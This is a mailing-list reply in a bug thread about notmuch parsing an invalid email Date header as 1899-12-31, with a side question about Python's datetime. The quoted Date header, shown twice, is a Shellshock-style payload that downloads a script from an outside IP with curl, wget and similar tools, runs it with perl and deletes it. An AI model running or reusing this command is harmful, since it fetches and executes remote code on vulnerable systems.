bug: notmuch cannot handle invalid Date fields

[Tomi Ollila]

On Wed, Apr 22 2015, Johannes Schauer <j.schauer at email.de> wrote:

> Hi,
>
> I recently received an email with the following date field (the value of all
> other headers is the same):
>
> Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
>
> When doing `notmuch search lwp-download` I get:
>
> thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread)
>
> You can see that the date is 1899-12-31 which is wrong.
>
> This is annoying because the python module datetime which is for example used
> by the notmuch client alot cannot handle dates before the year 1900 and will
> thus never show this email in its thread view but instead display an exception
> every time the view is refreshed.

What do you mean by that datetime cannot handle dates before 1900 ?

:  $ python
:  Python 2.7.6 (default, Mar 22 2014, 22:59:56)
:  ...
:  >>> datetime.datetime.strptime('1799-11', '%Y-%m')
:  datetime.datetime(1799, 11, 1, 0, 0)
:  >>> x=datetime.datetime.strptime('1799-11', '%Y-%m')
:  >>> x.isoformat()
:  '1799-11-01T00:00:00'

Tomi


> It would be great if an invalid date could either somehow default to a nil
> value or be a date that is 1900 or later.
>
> Thanks!
>
> cheers, josch